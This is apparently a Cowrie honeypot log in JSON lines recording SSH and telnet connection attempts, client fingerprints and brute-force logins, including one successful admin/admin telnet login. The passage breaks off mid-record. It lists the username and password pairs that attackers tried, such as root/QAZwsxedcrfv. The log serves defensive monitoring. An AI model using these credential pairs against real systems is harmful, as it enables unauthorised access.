{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:09:48.390201Z","src_ip":"41.181.156.205","session":"3552bcaeed92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.167.225.76","src_port":40654,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6807ce1d6f9","protocol":"ssh","message":"New connection: 95.167.225.76:40654 (159.203.135.109:22) [session: f6807ce1d6f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:10:17.181856Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:10:17.188576Z","src_ip":"95.167.225.76","session":"f6807ce1d6f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.13.14.186","src_port":45338,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e347c5f4b0f","protocol":"ssh","message":"New connection: 106.13.14.186:45338 (159.203.135.109:22) [session: 7e347c5f4b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:10:18.479511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:10:18.485066Z","src_ip":"106.13.14.186","session":"7e347c5f4b0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:10:18.749274Z","src_ip":"106.13.14.186","session":"7e347c5f4b0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hust","message":"login attempt [root/hust] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:10:19.822457Z","src_ip":"106.13.14.186","session":"7e347c5f4b0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:10:21.090699Z","src_ip":"106.13.14.186","session":"7e347c5f4b0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":52138,"dst_ip":"159.203.135.109","dst_port":22,"session":"23ce2e139773","protocol":"ssh","message":"New connection: 190.85.41.170:52138 (159.203.135.109:22) [session: 23ce2e139773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:10:22.550914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:10:22.556239Z","src_ip":"190.85.41.170","session":"23ce2e139773","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:10:22.631654Z","src_ip":"190.85.41.170","session":"23ce2e139773","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"2025","message":"login attempt [test/2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:10:22.955204Z","src_ip":"190.85.41.170","session":"23ce2e139773","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:10:24.033413Z","src_ip":"190.85.41.170","session":"23ce2e139773","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.222.56","src_port":59720,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cba4e1f956e","protocol":"ssh","message":"New connection: 163.245.222.56:59720 (159.203.135.109:22) [session: 2cba4e1f956e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:10:38.296922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:10:38.301663Z","src_ip":"163.245.222.56","session":"2cba4e1f956e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:10:38.307555Z","src_ip":"163.245.222.56","session":"2cba4e1f956e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QAZwsxedcrfv","message":"login attempt [root/QAZwsxedcrfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:10:38.361271Z","src_ip":"163.245.222.56","session":"2cba4e1f956e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:10:39.370744Z","src_ip":"163.245.222.56","session":"2cba4e1f956e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.166.146","src_port":52872,"dst_ip":"10.17.0.5","dst_port":22,"session":"b041cf2ee7a0","protocol":"ssh","message":"New connection: 43.135.166.146:52872 (10.17.0.5:22) [session: b041cf2ee7a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:10:42.714387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:10:42.719269Z","src_ip":"43.135.166.146","session":"b041cf2ee7a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:10:42.789549Z","src_ip":"43.135.166.146","session":"b041cf2ee7a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:10:43.102136Z","src_ip":"43.135.166.146","session":"b041cf2ee7a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:10:44.175851Z","src_ip":"43.135.166.146","session":"b041cf2ee7a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.33.12.13","src_port":39298,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fe4efe9ceff","protocol":"telnet","message":"New connection: 114.33.12.13:39298 (159.203.135.109:23) [session: 0fe4efe9ceff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:10:55.710457Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:10:56.621767Z","src_ip":"114.33.12.13","session":"0fe4efe9ceff","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:10:56.675832Z","src_ip":"114.33.12.13","session":"0fe4efe9ceff","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","size":304,"shasum":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:10:56.747759Z","src_ip":"114.33.12.13","session":"0fe4efe9ceff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.0514945983886719,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:10:56.761882Z","src_ip":"114.33.12.13","session":"0fe4efe9ceff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":48198,"dst_ip":"159.203.135.109","dst_port":22,"session":"be9d8fc4690b","protocol":"ssh","message":"New connection: 41.181.156.205:48198 (159.203.135.109:22) [session: be9d8fc4690b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:11:17.037723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:11:17.043776Z","src_ip":"41.181.156.205","session":"be9d8fc4690b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:11:17.290491Z","src_ip":"41.181.156.205","session":"be9d8fc4690b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"die123","message":"login attempt [root/die123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:11:18.308283Z","src_ip":"41.181.156.205","session":"be9d8fc4690b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:11:19.556969Z","src_ip":"41.181.156.205","session":"be9d8fc4690b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":48092,"dst_ip":"10.17.0.5","dst_port":23,"session":"838149b798a6","protocol":"telnet","message":"New connection: 167.71.238.254:48092 (10.17.0.5:23) [session: 838149b798a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:11:29.410863Z"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.156","src_port":43022,"dst_ip":"159.203.135.109","dst_port":22,"session":"a268bed4096f","protocol":"ssh","message":"New connection: 205.254.166.156:43022 (159.203.135.109:22) [session: a268bed4096f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:11:32.693305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:11:32.697118Z","src_ip":"205.254.166.156","session":"a268bed4096f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:11:32.910033Z","src_ip":"205.254.166.156","session":"a268bed4096f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:11:33.790366Z","src_ip":"205.254.166.156","session":"a268bed4096f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:11:35.007016Z","src_ip":"205.254.166.156","session":"a268bed4096f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.222.56","src_port":50410,"dst_ip":"159.203.135.109","dst_port":22,"session":"e380e03edb4b","protocol":"ssh","message":"New connection: 163.245.222.56:50410 (159.203.135.109:22) [session: e380e03edb4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:11:52.112275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:11:52.120917Z","src_ip":"163.245.222.56","session":"e380e03edb4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:11:52.125765Z","src_ip":"163.245.222.56","session":"e380e03edb4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:11:52.153129Z","src_ip":"163.245.222.56","session":"e380e03edb4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:11:53.162827Z","src_ip":"163.245.222.56","session":"e380e03edb4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.166.146","src_port":44452,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3434fa3ecd8","protocol":"ssh","message":"New connection: 43.135.166.146:44452 (10.17.0.5:22) [session: d3434fa3ecd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:12:11.780808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:12:11.785624Z","src_ip":"43.135.166.146","session":"d3434fa3ecd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr